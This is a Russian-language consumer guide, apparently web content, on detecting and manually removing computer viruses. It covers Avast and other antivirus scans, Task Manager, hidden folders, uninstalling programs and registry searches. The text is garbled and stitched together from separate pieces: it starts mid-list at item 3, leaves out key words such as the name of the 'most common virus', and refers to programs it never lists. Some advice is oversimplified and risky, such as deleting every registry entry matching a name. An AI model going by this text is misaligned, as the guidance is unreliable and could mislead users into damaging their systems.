3. Если же компьютер не работает и источником заражения стал вирусной природы, ни в коем случае не следуйте рекомендациям баннера, тем более не следует пополнять баланс телефона, указанного на баннере.
4. И самый распространенный вирус , это . Который, так же можно удалить без особого труда.
Если по каким-то причинам вам не удалось избавиться от вируса самостоятельно, не стоит паниковать и волноваться, а следует вызвать на помощь мастера.
Чтобы подхватить компьютерный вирус, необязательно запускать подозрительные приложения. Достаточно оказаться на вредоносном сайте или щелкнуть по сомнительной ссылке – и ваш компьютер будет заражен. Антивирусы не всегда способны автоматически выявить инфицированные файлы. Для этого часто требуется запустить сканер вручную и тщательно проверить компьютер. Помимо антивируса, рекомендуется воспользоваться и другими специальными программами для обнаружения вредоносного ПО.
Первое, что необходимо сделать для обнаружения вируса, – это запустить сканер антивируса. Для примера взят бесплатный, но функциональный Avast Antivirus . Откройте панель задач и правым щелчком мыши по значку Avast вызовите список команд. Перед запуском проверки рекомендуется обновить программу и модуль сканирования. Для этого выберите «Обновить» – «Программу» и «Модуль сканирования». Обновив антивирус, запустите проверку системы. Для этого в панели задач щелкните дважды на значке Avast, выберите опцию «Сканирование» и затем «Сканирование на вирусы». Экспресс-сканирование рекомендуется лишь для быстрого удаления из системы самых опасных вирусов и стабилизации работы Windows. Всегда отдавайте приоритет полному сканированию, чтобы вирус не мог нигде «спрятаться». Выберите из выпадающего списка «Полное сканирование» и нажмите «Пуск».
Чтобы обезопасить себя от вирусов, не забывайте регулярно обновлять антивирус и хотя бы раз в неделю делайте полную проверку системы. Не полагайтесь на одну программу, используйте разные инструменты для проверки. Угрозу представляют не только вирусы, поэтому и ступеней защиты должно быть несколько. Перечисленные выше программы не позволят воровать ваши данные и тормозить работу ОС.
Итак, сегодня мы поговорим с вами о том, как удалить вирус вручную с компьютера. Помимо этого, посмотрим, какие могут встречаться трояны, как они проявляют себя и откуда могут быть занесены на компьютер. Давайте же поскорее приступим к изучению нашей сегодняшней темы.
Виды вирусов
Что ж, но перед тем, как удалить вирус вручную с компьютера, стоит поговорить с вами о том, какая зараза вообще встречается на компьютере. Ведь в большинстве случаев именно от этого зависит то, каким образом следует проводить лечение. Так что, давайте начнем.
Первый вирус - это троян. Из себя представляет вредоносный файл, который "селится" в операционной системе, да еще и вредит ей. Например, повреждает или уничтожает важные документы. Сейчас их очень много.
Второй довольно распространенный вид вируса - это разнообразные шифровальщики. Это такие файлы, которые попадают в систему и блокируют ее. Но не разрушая, а всего лишь зашифровывая документы. В конце такого шифра, как правило, оставляется e-mail создателя, на который надо перевести энную сумму денег ради возврата документов в первоначальный вид.
Третий вирус, который можно подцепить - это, конечно же, разнообразные надстройки браузера, или спам. Как правило, они очень сильно да еще и мешают работе в интернете. Это происходит из-за того, что у пользователя может смениться стартовая страница, плюс ко всему, в браузере всюду будут расположены рекламные баннеры. Когда пользователи видят эту картину, то они задумываются, как найти вирусы в компьютере вручную, а потом убрать их. Сейчас мы попытаемся разобраться с этим.
Признаки заражения
Итак, перед тем как найти вирусы вручную и избавиться от них раз и навсегда, давайте попробуем разобраться, что может указывать вам на наличие компьютерной заразы в системе. Ведь если вовремя обнаружить сигналы, то можно избежать повреждения большого количества файлов и потери "операционки".
Первый, наиболее явный признак - это не что иное, как сообщения вашей антивирусной программы. Она будет "ругаться" на какие-то документы и файлы, выдавая вам название предполагаемого вируса. Правда, иногда антивирус так ведет себя по отношению к различным крякам и "таблеткам" к компьютерным играм. Тем не менее, без внимания это оставлять нельзя.
Второй вариант развития событий - у вас начинает "тормозить" компьютер. Именно тогда пользователи начинают активно думать, как удалить вирус вручную, особенно, если у них нет антивируса. Так что, как только вы заметили, что ваша система стала "тугодумом", начинайте бить тревогу.
Очередной вариант развития событий - на компьютере стали появляться новые программы, которые вы не устанавливали. Довольно распространенный ход среди компьютерной заразы.
Кроме того, на инфицирование компьютера может указывать еще и реклама в браузере. Смена стартовой страницы без возможности восстановления, рекламные баннеры везде и всюду - все это довольно тревожные сигналы. Так что, давайте поскорее посмотрим, как происходит с компьютера вручную.
Поиск
Что ж, первым делом стоит начать с поиска тех мест, где кроется зараза. Иногда сделать это очень трудно. Особенно, если у вас нет антивирусной программы. В общем, давайте посмотрим, что можно сделать в сложившейся ситуации.
Итак, когда вы решили самостоятельно побороть вирус, то вам придется найти папку на компьютере, в которой он хранится. Иногда зараза сама выдает себя, создав свои процессы в Откройте его (Ctrl + Alt + Del), после чего перейдите во вкладку "процессы". Теперь найдите там любую подозрительную строчку (она будет как-то странно называться, или вообще подписана иероглифами) и нажмите на кнопку "показать расположение файла". Готово, вирус найден.
Правда, не все всегда так легко и просто. Если вы думаете, как удалить вирус вручную с компьютера, то вам стоит знать и то, что компьютерная зараза зачастую хорошо скрывается. В отображении папок отметьте пункт "отображать и папки". Теперь осуществлять поиск будет значительно проще.
Помните и то, что очень часто "оседают" в папке Windows. Например, большинство троянов встречается в System32. Некоторая зараза способна "прописаться" в файл host. Излюбленные места вирусов мы знаем. Но как же избавиться от них?
Проверки
Первый вариант развития событий - это удаление заразы автоматически. Точнее, полуавтоматически. Речь идет о на наличие вирусов при помощи антивирусной программы.
Для того чтобы обеспечить себе надежную защиту данных, запаситесь хорошим антивирусом. Отлично подходит Dr.Web. Если он вам не понравился, можете испробовать еще и Nod32. Он тоже довольно хорошо справляется с задачей.
Проведите глубокую проверку. После того, как программа выдаст вам результаты, постарайтесь вылечить документы автоматически. Не получилось? Тогда сотрите их. Правда, если вы думаете, как удалить вирус вручную с компьютера, то, скорее всего, проверки антивирусом вам не помогли. Давайте посмотрим, что же еще можно сделать.
Стираем программы
Второй шаг на пути к исцелению системы - это, конечно же, удаление разнообразного контента, который вам наставил вирус. Это довольно частое явление. Так что, загляните в "панель управления", а оттуда проследуйте в "установку и удаление программ". Немного подождите, пока завершится проверка контента на компьютере.
Когда перед вами появится список программ, удалите все, чем вы не пользуетесь. Особое внимание уделите контенту, который вы не устанавливали. Или же тому, что появился "прицепом" после завершения установки какой-нибудь другой "проги". Кликните по нужной строчке правой кнопкой мышки, после чего выберите команду "удалить". Готово? Тогда можно думать дальше, как удалить вирус вручную с компьютера.
Тотальное сканирование
А теперь давайте прибегнем к некоторым службам и приемам, которые обязательно помогут нам. Если вы знаете название вируса (особенно, если вы столкнулись со спамом), то вам подойдет поиск заразы при помощи компьютерного реестра.
Для того чтобы перейти в необходимую службу, нажмите сочетание клавиш Win + R, а затем выполните команду "regedit". Посмотрите, что перед вами появится. С левой стороны окна расположены папки с длинными и непонятными названиями. Именно в них зачастую прячутся вирусы. Но мы немного упростим себе задачу по поиску. Достаточно зайти в "правку", а затем нажать на "поиск". Наберите имя вируса, после чего осуществите проверку.
После получения результатов все появившиеся строки требуется стереть. Для этого кликайте поочередно на каждую из них, после чего выбирайте необходимую команду. Все готово? Тогда перезагрузите компьютер. Теперь вы знаете, как удалить вирус вручную с компьютера.
